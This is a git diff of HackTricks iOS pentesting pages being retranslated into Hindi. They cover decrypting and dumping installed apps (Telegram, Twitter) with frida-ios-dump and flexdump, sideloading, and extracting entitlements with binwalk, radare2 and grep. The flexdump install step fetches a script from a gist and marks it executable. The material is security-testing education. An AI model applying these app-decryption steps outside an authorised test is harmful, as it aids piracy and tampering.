[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) उपकरण का उपयोग **iOS उपकरणों से ऐप्स को स्वचालित रूप से डिक्रिप्ट और निकालने** के लिए किया जाता है। प्रारंभ में, `dump.py` को iOS उपकरण से कनेक्ट करने के लिए कॉन्फ़िगर करना आवश्यक है, जिसे **iproxy** के माध्यम से लोकलहोस्ट पर पोर्ट 2222 के माध्यम से या सीधे उपकरण के IP पते और पोर्ट के माध्यम से किया जा सकता है।
|
||||||
|
|
||||||
उपकरण पर स्थापित एप्लिकेशनों की सूची निम्नलिखित कमांड के साथ दी जा सकती है:
|
उपकरण पर स्थापित ऐप्स को सूचीबद्ध करने के लिए कमांड का उपयोग किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
$ python dump.py -l
|
$ python dump.py -l
|
||||||
```
|
```
|
||||||
एक विशिष्ट ऐप जैसे कि Telegram को डंप करने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:
|
एक विशिष्ट ऐप, जैसे कि Telegram, को डंप करने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||||
```
|
```
|
||||||
यह कमांड ऐप डंप की शुरुआत करता है, जिससे मौजूदा निर्देशिका में `Telegram.ipa` फ़ाइल बनती है। यह प्रक्रिया जेलब्रोकन उपकरणों के लिए उपयुक्त है, क्योंकि असाइंड या फेक-साइन ऐप्स को [**ios-deploy**](https://github.com/ios-control/ios-deploy) जैसे उपकरणों का उपयोग करके पुनः स्थापित किया जा सकता है।
|
यह कमांड ऐप डंप शुरू करता है, जिसके परिणामस्वरूप वर्तमान निर्देशिका में `Telegram.ipa` फ़ाइल का निर्माण होता है। यह प्रक्रिया जेलब्रोकन उपकरणों के लिए उपयुक्त है, क्योंकि बिना हस्ताक्षरित या नकली हस्ताक्षरित ऐप्स को [**ios-deploy**](https://github.com/ios-control/ios-deploy) जैसे उपकरणों का उपयोग करके फिर से स्थापित किया जा सकता है।
|
||||||
|
|
||||||
#### **flexdecrypt**
|
#### **flexdecrypt**
|
||||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) टूल, और इसके रैपर [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), निर्धारित ऐप्लिकेशन से IPA फ़ाइलों को निकालने की अनुमति देता है। उपकरण पर **flexdecrypt** के लिए स्थापना कमांड में `.deb` पैकेज को डाउनलोड और स्थापित करना शामिल है। **flexdump** का उपयोग ऐप्स की सूची बनाने और डंप करने के लिए किया जा सकता है, जैसा कि निम्नलिखित कमांडों में दिखाया गया है:
|
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) उपकरण, इसके रैपर [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) के साथ, स्थापित अनुप्रयोगों से IPA फ़ाइलों को निकालने की अनुमति देता है। डिवाइस पर **flexdecrypt** के लिए स्थापना कमांड में `.deb` पैकेज को डाउनलोड और स्थापित करना शामिल है। **flexdump** का उपयोग ऐप्स को सूचीबद्ध और डंप करने के लिए किया जा सकता है, जैसा कि नीचे दिए गए कमांड में दिखाया गया है:
|
||||||
```bash
|
```bash
|
||||||
apt install zip unzip
|
apt install zip unzip
|
||||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||||
flexdump list
|
flexdump list
|
||||||
flexdump dump Twitter.app
|
flexdump dump Twitter.app
|
||||||
```
|
```
|
||||||
#### **बैगबैक**
|
#### **bagbak**
|
||||||
[**बैगबैक**](https://github.com/ChiChou/bagbak), एक और फ्रिडा-आधारित उपकरण है, जो ऐप डिक्रिप्शन के लिए जेलब्रोकेन डिवाइस की आवश्यकता है:
|
[**bagbak**](https://github.com/ChiChou/bagbak), एक और Frida-आधारित उपकरण, ऐप डिक्रिप्शन के लिए एक जेलब्रोकन डिवाइस की आवश्यकता होती है:
|
||||||
```bash
|
```bash
|
||||||
bagbak --raw Chrome
|
bagbak --raw Chrome
|
||||||
```
|
```
|
||||||
#### **r2flutch**
|
#### **r2flutch**
|
||||||
**r2flutch**, जो radare और frida दोनों का उपयोग करता है, ऐप डिक्रिप्शन और डम्पिंग के लिए सेवा प्रदान करता है। इसके [**GitHub पेज**](https://github.com/as0ler/r2flutch) पर अधिक जानकारी उपलब्ध है।
|
**r2flutch**, radare और frida दोनों का उपयोग करते हुए, ऐप डिक्रिप्शन और डंपिंग के लिए कार्य करता है। अधिक जानकारी इसके [**GitHub पृष्ठ**](https://github.com/as0ler/r2flutch) पर मिल सकती है।
|
||||||
|
|
||||||
### **ऐप्स को स्थापित करना**
|
### **ऐप्स इंस्टॉल करना**
|
||||||
|
|
||||||
**साइडलोडिंग** आधिकारिक ऐप स्टोर के बाहर ऐप्लिकेशन स्थापित करने का अर्थ है। इस प्रक्रिया को **installd डेमन** द्वारा संभाला जाता है और ऐप्स को एक Apple जारी प्रमाणपत्र के साथ साइन करना आवश्यक है। जेलब्रोकन उपकरण इसे **AppSync** के माध्यम से छलकर सकते हैं, जिससे नकली साइन किए गए IPA पैकेज की स्थापना संभव होती है।
|
**Sideloading** का अर्थ है आधिकारिक ऐप स्टोर के बाहर ऐप्स इंस्टॉल करना। यह प्रक्रिया **installd daemon** द्वारा संभाली जाती है और इसके लिए ऐप्स को Apple द्वारा जारी किए गए सर्टिफिकेट के साथ साइन किया जाना आवश्यक है। जेलब्रोकन डिवाइस इस प्रक्रिया को **AppSync** के माध्यम से बायपास कर सकते हैं, जो नकली-साइन किए गए IPA पैकेजों की इंस्टॉलेशन की अनुमति देता है।
|
||||||
|
|
||||||
#### **साइडलोडिंग उपकरण**
|
#### **Sideloading टूल्स**
|
||||||
|
|
||||||
- **Cydia Impactor**: iOS पर IPA फ़ाइलों को साइन और स्थापित करने के लिए एक उपकरण। मार्गदर्शिकाएँ और समस्या समाधान [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) पर उपलब्ध हैं।
|
- **Cydia Impactor**: iOS पर IPA फ़ाइलों और Android पर APK फ़ाइलों को साइन और इंस्टॉल करने के लिए एक टूल। गाइड और समस्या निवारण [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) पर मिल सकते हैं।
|
||||||
|
|
||||||
- **libimobiledevice**: iOS उपकरणों के साथ संचार के लिए लिनक्स और macOS के लिए एक पुस्तकालय। ऐप्स को USB के माध्यम से स्थापित करने के लिए ideviceinstaller के लिए स्थापना कमांड और उपयोग उदाहरण प्रदान किए गए हैं।
|
- **libimobiledevice**: Linux और macOS के लिए एक लाइब्रेरी जो iOS डिवाइस के साथ संवाद करती है। USB के माध्यम से ऐप्स इंस्टॉल करने के लिए ideviceinstaller के लिए इंस्टॉलेशन कमांड और उपयोग के उदाहरण प्रदान किए गए हैं।
|
||||||
|
|
||||||
- **ipainstaller**: यह कमांड लाइन उपकरण iOS उपकरणों पर सीधी ऐप स्थापना की अनुमति देता है।
|
- **ipainstaller**: यह कमांड-लाइन टूल iOS डिवाइस पर सीधे ऐप इंस्टॉलेशन की अनुमति देता है।
|
||||||
|
|
||||||
- **ios-deploy**: macOS उपयोगकर्ताओं के लिए, ios-deploy कमांड लाइन से iOS ऐप्स को स्थापित करता है। IPA को अनज़िप करना और सीधी ऐप लॉन्च के लिए `-m` ध्वज का उपयोग प्रक्रिया का हिस्सा है।
|
- **ios-deploy**: macOS उपयोगकर्ताओं के लिए, ios-deploy कमांड लाइन से iOS ऐप्स इंस्टॉल करता है। IPA को अनज़िप करना और सीधे ऐप लॉन्च के लिए `-m` फ्लैग का उपयोग करना प्रक्रिया का हिस्सा है।
|
||||||
|
|
||||||
- **Xcode**: **Window/Devices and Simulators** पर जाकर **Installed Apps** में ऐप जोड़कर ऐप्स को स्थापित करने के लिए Xcode का उपयोग करें।
|
- **Xcode**: Xcode का उपयोग करके ऐप्स इंस्टॉल करने के लिए **Window/Devices and Simulators** पर जाएं और ऐप को **Installed Apps** में जोड़ें।
|
||||||
|
|
||||||
#### **गैर-आईपैड उपकरणों पर ऐप्लिकेशन स्थापना की अनुमति देना**
|
|
||||||
आईपैड-विशिष्ट ऐप्लिकेशनों को आईफोन या आईपॉड टच उपकरणों पर स्थापित करने के लिए, **Info.plist** फ़ाइल में **UIDeviceFamily** मान को **1** में बदलना आवश्यक है। यह संशोधन, हालांकि, हस्ताक्षर मान्यता की जांच के कारण IPA फ़ाइल को फिर से साइन करने की आवश्यकता होती है।
|
|
||||||
|
|
||||||
**ध्यान दें**: यह विधि असफल हो सकती है अगर ऐप्लिकेशन पुराने आईफोन या आईपॉड टच का उपयोग करते हुए नए आईपैड मॉडल्स के लिए विशेष क्षमताओं की मांग करता है।
|
|
||||||
|
|
||||||
|
#### **गैर-iPad डिवाइस पर ऐप इंस्टॉलेशन की अनुमति दें**
|
||||||
|
iPhone या iPod touch डिवाइस पर iPad-विशिष्ट ऐप्स इंस्टॉल करने के लिए, **Info.plist** फ़ाइल में **UIDeviceFamily** मान को **1** में बदलना आवश्यक है। हालांकि, इस संशोधन के लिए IPA फ़ाइल को फिर से साइन करने की आवश्यकता होती है क्योंकि सिग्नेचर वैलिडेशन चेक होते हैं।
|
||||||
|
|
||||||
|
**नोट**: यदि ऐप नई iPad मॉडल के लिए विशेष क्षमताओं की मांग करता है जबकि पुरानी iPhone या iPod touch का उपयोग किया जा रहा है, तो यह विधि विफल हो सकती है।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||||
|
@ -178,16 +177,17 @@ bagbak --raw Chrome
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF** में **HackTricks** डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# एप्लिकेशन से अधिकारों को निकालना
|
# Extracting Entitlements from Compiled Application
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
पृष्ठ का सारांश [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
Summary of the page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||||
|
|
||||||
### **अधिकारों और मोबाइल प्रोविजन फ़ाइलों को निकालना**
|
### **Extracting Entitlements and Mobile Provision Files**
|
||||||
|
|
||||||
जब एक ऐप के IPA या जेलब्रोकन डिवाइस पर स्थापित ऐप के साथ काम किया जा रहा हो, `.entitlements` फ़ाइलें या `embedded.mobileprovision` फ़ाइल सीधे प्राप्त करना संभव नहीं हो सकता। हालांकि, अधिकारों संपत्ति सूची अब भी ऐप बाइनरी से निकाली जा सकती है, "iOS मूलभूत सुरक्षा परीक्षण" अध्याय में उल्लिखित प्रक्रियाओं का पालन करके, विशेष रूप से "ऐप बाइनरी प्राप्त करना" अनुभाग में।
|
जब एक ऐप के IPA या जेलब्रोकन डिवाइस पर स्थापित ऐप के साथ काम कर रहे हों, तो सीधे `.entitlements` फ़ाइलें या `embedded.mobileprovision` फ़ाइल खोजना संभव नहीं हो सकता है। हालाँकि, ऐप बाइनरी से एंटाइटलमेंट प्रॉपर्टी लिस्ट को अभी भी निकाला जा सकता है, "iOS Basic Security Testing" अध्याय में वर्णित प्रक्रियाओं का पालन करते हुए, विशेष रूप से "Acquiring the App Binary" अनुभाग।
|
||||||
|
|
||||||
एन्क्रिप्टेड बाइनरी के साथ भी, कुछ कदम इन फ़ाइलों को निकालने के लिए लागू किए जा सकते हैं। यदि ये कदम विफल हो जाएं, तो Clutch (यदि iOS संस्करण के साथ संगत हो), frida-ios-dump, या समान उपयोगी सुविधाएँ ऐप को डिक्रिप्ट और निकालने के लिए आवश्यक हो सकती हैं।
|
एन्क्रिप्टेड बाइनरी के साथ भी, इन फ़ाइलों को निकालने के लिए कुछ कदम उठाए जा सकते हैं। यदि ये कदम विफल होते हैं, तो Clutch (यदि iOS संस्करण के साथ संगत हो), frida-ios-dump, या समान उपयोगिताएँ ऐप को डिक्रिप्ट और निकालने के लिए आवश्यक हो सकती हैं।
|
||||||
|
|
||||||
#### **ऐप बाइनरी से अधिकारों प्लिस्ट निकालना**
|
#### **Extracting the Entitlements Plist from the App Binary**
|
||||||
|
|
||||||
कंप्यूटर पर एप्लिकेशन बाइनरी तक पहुंचने पर, **binwalk** का उपयोग सभी XML फ़ाइलों को निकालने के लिए किया जा सकता है। नीचे दिए गए कमांड दिखाता है कि ऐसा कैसे किया जा सकता है:
|
जब ऐप बाइनरी एक कंप्यूटर पर सुलभ हो, तो **binwalk** का उपयोग सभी XML फ़ाइलों को निकालने के लिए किया जा सकता है। नीचे दिए गए कमांड से ऐसा करने का तरीका दर्शाया गया है:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk -e -y=xml ./Telegram\ X
|
$ binwalk -e -y=xml ./Telegram\ X
|
||||||
|
|
||||||
|
@ -34,19 +35,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||||
1430180 0x15D2A4 XML document, version: "1.0"
|
1430180 0x15D2A4 XML document, version: "1.0"
|
||||||
1458814 0x16427E XML document, version: "1.0"
|
1458814 0x16427E XML document, version: "1.0"
|
||||||
```
|
```
|
||||||
विकल्प से, **radare2** का उपयोग करके एक कमांड को शांत रूप से चलाया जा सकता है और बाहर निकला जा सकता है, ऐप बाइनरी में "PropertyList" शब्द वाली सभी स्ट्रिंग्स की खोज की जा सकती है:
|
वैकल्पिक रूप से, **radare2** का उपयोग चुपचाप एक कमांड चलाने और बाहर निकलने के लिए किया जा सकता है, ऐप बाइनरी में "PropertyList" वाले सभी स्ट्रिंग्स की खोज करते हुए:
|
||||||
```bash
|
```bash
|
||||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||||
|
|
||||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||||
```
|
```
|
||||||
Dono tarike, binwalk aur radare2, `plist` files ka extraction possible bana dete hain, pehle wale ka (0x0015d2a4) janch ek safal recovery dikhata hai [Telegram se original entitlements file](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
दोनों विधियाँ, binwalk और radare2, `plist` फ़ाइलों को निकालने की अनुमति देती हैं, पहले वाले (0x0015d2a4) की जांच करने पर Telegram से [मूल अधिकार फ़ाइल की सफल वसूली](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) का पता चलता है।
|
||||||
|
|
||||||
Jailbroken devices par access ki gayi app binaries ke liye (SSH ke zariye), **grep** command ka istemal `-a, --text` flag ke sath ASCII text ke roop mein sabhi files ko treat karne ke liye kiya ja sakta hai:
|
जेलब्रोकन उपकरणों पर पहुँची गई ऐप बाइनरीज़ (जैसे, SSH के माध्यम से) के लिए, **grep** कमांड के साथ `-a, --text` ध्वज का उपयोग सभी फ़ाइलों को ASCII पाठ के रूप में मानने के लिए किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||||
```
|
```
|
||||||
संख्या को बढ़ाने या कम करने के लिए `-A num, --after-context=num` फ्लैग को समायोजित करना अधिक या कम पंक्तियों को प्रदर्शित करने की अनुमति देता है। यह विधि एन्क्रिप्टेड ऐप बाइनरी के लिए भी व्यावहारिक है और इसे कई एप्लिकेशन स्टोर ऐप्स के खिलाफ सत्यापित किया गया है। पहले उल्लिखित उपकरणों का उपयोग जेलब्रोकन iOS उपकरणों पर भी समान उद्देश्यों के लिए किया जा सकता है।
|
`-A num, --after-context=num` फ्लैग को समायोजित करने से अधिक या कम लाइनों को प्रदर्शित करने की अनुमति मिलती है। यह विधि एन्क्रिप्टेड ऐप बाइनरी के लिए भी व्यवहार्य है और इसे कई ऐप स्टोर ऐप्स के खिलाफ सत्यापित किया गया है। पहले उल्लेखित उपकरणों का उपयोग जेलब्रोकन iOS उपकरणों पर समान उद्देश्यों के लिए भी किया जा सकता है।
|
||||||
|
|
||||||
**ध्यान दें**: इस कार्य के लिए `strings` कमांड का सीधा उपयोग सिफारिश नहीं किया जाता है क्योंकि यह संबंधित जानकारी खोजने में अपर्याप्त है। इसके बजाय, बाइनरी पर grep का उपयोग करना या radare2 (`izz`)/rabin2 (`-zz`) का उपयोग करना अधिक प्रभावी परिणामों के लिए अनुशंसित है।
|
**नोट**: इस कार्य के लिए `strings` कमांड का प्रत्यक्ष उपयोग इसकी प्रासंगिक जानकारी खोजने में सीमाओं के कारण अनुशंसित नहीं है। इसके बजाय, बाइनरी पर `-a` फ्लैग के साथ grep का उपयोग करना या अधिक प्रभावी परिणामों के लिए radare2 (`izz`)/rabin2 (`-zz`) का उपयोग करना उचित है।
|
||||||
|
|
|
@ -1,77 +1,79 @@
|
||||||
# iOS App Extensions
|
# iOS App Extensions
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
ऐप एक्सटेंशन्स ऐप्स की क्षमताओं को बढ़ाते हैं जिन्हें अन्य ऐप्स या सिस्टम के साथ इंटरैक्ट करने की अनुमति देते हैं, विशेष सुविधाएं या सामग्री प्रदान करते हैं। ये एक्सटेंशन्स निम्नलिखित होते हैं:
|
ऐप एक्सटेंशन ऐप्स की कार्यक्षमता को बढ़ाते हैं, जिससे उन्हें अन्य ऐप्स या सिस्टम के साथ इंटरैक्ट करने की अनुमति मिलती है, कस्टम सुविधाएँ या सामग्री प्रदान करते हैं। इन एक्सटेंशनों में शामिल हैं:
|
||||||
|
|
||||||
- **कस्टम कीबोर्ड**: सभी ऐप्स में एक अद्वितीय कीबोर्ड प्रदान करता है, जो डिफ़ॉल्ट iOS कीबोर्ड को बदल देता है।
|
- **कस्टम कीबोर्ड**: सभी ऐप्स में एक अद्वितीय कीबोर्ड प्रदान करता है, जो डिफ़ॉल्ट iOS कीबोर्ड को बदलता है।
|
||||||
- **शेयर**: सोशल नेटवर्क्स या दूसरों के साथ साझा करने की सुविधा प्रदान करता है।
|
- **शेयर**: सामाजिक नेटवर्क या दूसरों के साथ सीधे साझा करने की अनुमति देता है।
|
||||||
- **टुडे (विजेट्स)**: नोटिफिकेशन सेंटर के टुडे व्यू से त्वरित रूप से सामग्री प्रदान करता है या कार्य संपादित करता है।
|
- **आज (विजेट)**: नोटिफिकेशन सेंटर के आज दृश्य से जल्दी से सामग्री प्रदान करता है या कार्य करता है।
|
||||||
|
|
||||||
जब एक उपयोगकर्ता इन एक्सटेंशन्स के साथ संलग्न होता है, जैसे किसी मुख्य ऐप से पाठ साझा करना, तो एक्सटेंशन इस इनपुट को अपने संदर्भ में प्रसंस्करण करता है, साझा जानकारी का उपयोग करके अपना कार्य पूरा करने के लिए, जैसा कि Apple की दस्तावेज़ में विस्तार से वर्णित है।
|
जब एक उपयोगकर्ता इन एक्सटेंशनों के साथ संलग्न होता है, जैसे कि एक होस्ट ऐप से पाठ साझा करना, तो एक्सटेंशन इस इनपुट को अपने संदर्भ में संसाधित करता है, साझा की गई जानकारी का उपयोग करके अपना कार्य करता है, जैसा कि एप्पल के दस्तावेज़ में विस्तृत किया गया है।
|
||||||
|
|
||||||
### **सुरक्षा विचार**
|
### **सुरक्षा विचार**
|
||||||
|
|
||||||
मुख्य सुरक्षा पहलू शामिल हैं:
|
मुख्य सुरक्षा पहलुओं में शामिल हैं:
|
||||||
|
|
||||||
- एक्सटेंशन्स और उनके संग्रहित ऐप्स अंतर-प्रक्रिया संचार के माध्यम से संवाद करते हैं, सीधे नहीं।
|
- एक्सटेंशन और उनके समाहित ऐप्स इंटर-प्रोसेस संचार के माध्यम से संवाद करते हैं, सीधे नहीं।
|
||||||
- **टुडे विजेट** अपने ऐप से एक विशेष विधि के माध्यम से अपने ऐप को खोलने का अनुरोध कर सकता है।
|
- **आज विजेट** अद्वितीय है क्योंकि यह एक विशिष्ट विधि के माध्यम से अपने ऐप को खोलने का अनुरोध कर सकता है।
|
||||||
- साझा डेटा एक निजी संग्रहण में अधिकृत है, लेकिन सीधा पहुंच प्रतिबंधित है।
|
